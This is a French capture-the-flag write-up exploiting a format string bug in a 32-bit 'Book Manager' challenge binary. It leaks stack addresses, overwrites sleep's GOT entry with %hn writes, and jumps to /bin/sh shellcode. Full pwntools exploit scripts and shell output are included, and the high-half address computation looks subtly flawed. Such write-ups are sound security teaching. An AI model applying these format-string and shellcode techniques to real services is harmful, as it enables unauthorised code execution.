Le Hackim CTF a été organisé par la Nullcon pour sa 7ème édition, qui aura lieu à Goa. Ce CTF indien propose plusieurs catégories comme du Web, OSINT, Pwn, RE, Crypto, Prog et MISC. Cet article détaille l’exploitation du premier challenge de la catégorie Pwn (Exploit).
Sommaire
- Reconnaissance
- Déclencher la vulnérabilité
- Exploiter la vulnérabilité
Reconnaissance
Voici l’énoncé,
This is a simple program; there’s probably nothing exploitable right? It just works with simple strings! Exploit the daemon at 34.198.96.6:9001
Binary files are available at:
http://34.198.96.6/binaries/
Le challenge nous fourni le binaire à exploiter pour obtenir un shell.
Nous sommes en face d’un programme linux compilé en 32 bits.
$ file level1.bin
level1.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=33e64ac5c789f74d3d3b204dfe71967f22ba132e, not stripped
Avec la commande objdump, nous allons examiner les droits sur les entêtes du binaire :
$ objdump -x level1.bin | grep -B 1 'rwx'
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
filesz 0x00000000 memsz 0x00000000 flags rwx
La pile est executable ceci va nous faciliter la tâche. Lançons le programme, et voyons ce qu’il fait. L’énoncé parle de strings, tilt ! format strings ?
Essayons ;)
./level1.bin
Book Manager:
[1] Insert
[2] List
[3] Search
[4] Delete
[5] Exit
Enter choice: 1
Enter book name: Coucou
Enter book id: 1
Book Manager:
[1] Insert
[2] List
[3] Search
[4] Delete
[5] Exit
Enter choice: 3
Search by book_id or name (name:abc, book_id:123)
Enter query: %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Searching with: ff943a8c400f779c53cff943ac4ff943ac0384808180f75940e4f77783c478257825782578257825782578257825782578257825782578257825782578257825782578257825a7825
Book Manager:
[1] Insert
[2] List
[3] Search
[4] Delete
[5] Exit
Enter choice:
Nous avons vu juste ! il y’a une format string dans la fonction de recherche passons à l’exploit.
Déclencher la vulnérabilité
En inserant 11 %x on retombe sur notre chaine de départ,
Enter choice: 3
Search by book_id or name (name:abc, book_id:123)
Enter query: AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Searching with: AAAAff943a8c.400.f779c53c.ff943ac4.ff943ac0.3.8480818.0.ff943a8c.0.41414141
Examinons les symboles,
$ objdump -t level1.bin
level1.bin: format de fichier elf32-i386
SYMBOL TABLE:
[...]
0804b054 l O .bss 00000004 book_list
[...]
Il y’a une variable statique nommée book_list, examinons ça de plus près avec gdb,
gdb-peda$ print book_list
$2 = 0x8480818
gdb-peda$ x/s 0x8480818
0x8480818: "Coucou\n"
Celle-ci contient l’adresse du nom de nôtre premier livre précédemment inséré. On y placeras notre shellcode. Cependant à chaque exécution du programme elle change. Mais on retrouve cette adresse dans le résultat de la format string à la 7ième position.
Dans le programme on peut remarquer un appel à sleep lorsqu’on entre 6, détournons le.
0x08048bf4 <+231>: push 0x1
0x08048bf6 <+233>: call 0x8048520 <sleep@plt>
Petite explication pour appeler sleep le programme saute à l’adresse contenue à l’adresse 0x804b020. Voir le code suivant,
gdb-peda$ disas 0x8048520
Dump of assembler code for function sleep@plt:
0x08048520 <+0>: jmp DWORD PTR ds:0x804b020
0x08048526 <+6>: push 0x28
0x0804852b <+11>: jmp 0x80484c0
gdb-peda$ x/xw 0x804b020
0x804b020: 0xf7636000 ; adresse de la fonction sleep
Le programme s’occupe de charger dynamiquement les fonctions dont il a besoins, il stocke cette adresse dans la GOT (Global Offset Table).
Testons le payload suivant \x20\xb0\x04\x08%10x%11$hn, %11$hn permet d’écrire, le nombre de caractères (sur 16 bits) imprimés juste avant ( ici 4 + 10 ) , à l’adresse 0x0804b020 .
#!/usr/bin/python
from pwn import *
p = process("level1.bin")
p.sendline("1") # Insert book
p.sendline("Coucou") # Book name
p.sendline("1") # Book Id
sleep_addr = p32(0x0804b020)
payload = sleep_addr + "%10x%11$hn"
p.sendline("3") # Search book
p.sendline(payload)
p.interactive()
p.close()
Si l’on s’attache au programme en cours d’exécution on observe à la place de l’adresse de sleep :
gdb-peda$ x/1xw 0x0804b020
0x804b020: 0x0804000e
0x0e = 14, en appuyant sur 6 le programme plante sur 0x0804000e ce qui est normal l’adresse n’est pas valide, mais le tour est joué on a redirigé le flux d’exécution du programme.
Exploiter la vulnérabilité
L’étape 1 consiste à insérer notre shellcode,
#!/usr/bin/python
from pwn import *
import binascii
# exec /bin/sh 32 bits
shellcode = "AAAAAAAA\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p = process("level1.bin")
p.recv(timeout=1)
# Insert book
p.sendline("1")
p.recv(timeout=1)
# Book name
p.sendline(shellcode)
p.recv(timeout=1)
# Book id
p.sendline("1")
p.recv(timeout=1)
( Comme vous pouvez le voir j’ai rajouté du padding, car j’ai constaté uniquement sur ma machine que les premiers octets du shellcode était détruit )
Ensuite on récupère l’adresse de notre shellcode,
payload = ".%x"*11
p.sendline("3") # Search
p.recv(timeout=1)
p.sendline(payload)
line = p.recvline(timeout=1)
p.recv(timeout=1) # clear output buffer
print("[+] %s leaked" % line)
shellcode_addr = int(line.split(".")[7].zfill(8),16)
shellcode_addr += 8 # padding
print("[+] shellcode address : 0x%x" % shellcode_addr)
Ensuite on remplace l’adresse de sleep par celle de notre shellcode,
p.sendline("3") # search
p.recv(timeout=1)
x = shellcode_addr & 0x0000FFFF # low
x-= 4 # ( size in char of p32(0x0804b020) )
payload = p32(0x0804b020) + "%" + str(x) + "x%11$hn"
p.sendline(payload)
p.recv(timeout=1)
p.sendline("3") # search
p.recv(timeout=1)
x = (shellcode_addr & 0xFFFF0000) << 16 # high
x-= 4
payload = p32(0x0804b022) + "%" + str(x) + "x%11$hn"
p.sendline(payload)
p.recv(timeout=1)
p.interactive()
p.close()
Et paf un shell,
[+] Starting local process './level1.bin': Done
[+] Searching with: .ffca9e4c.400.f777a53c.ffca9e84.ffca9e80.3.8571418.0.f75720e4.f77563c4.2e78252e leaked
[+] 0x8571420
[*] Switching to interactive mode
x.400.f777a53c.ffca9e84.ffca9e80.3
\x1b
Book Manager:
[1] Insert
[2] List
[3] Search
[4] Delete
[5] Exit
$ 6
$ ls
WU.html core exploit.py level1.c test
WU.md examine.py level1.bin peda-session-level1.bin.txt test.py
$
Pour l’exploiter sur la machine distante il faut juste remplacer process par, remote(IP,PORT), la sortie bash est redirigé automatiquement vers nous.
On affiche le flag et hop +200 pts ;)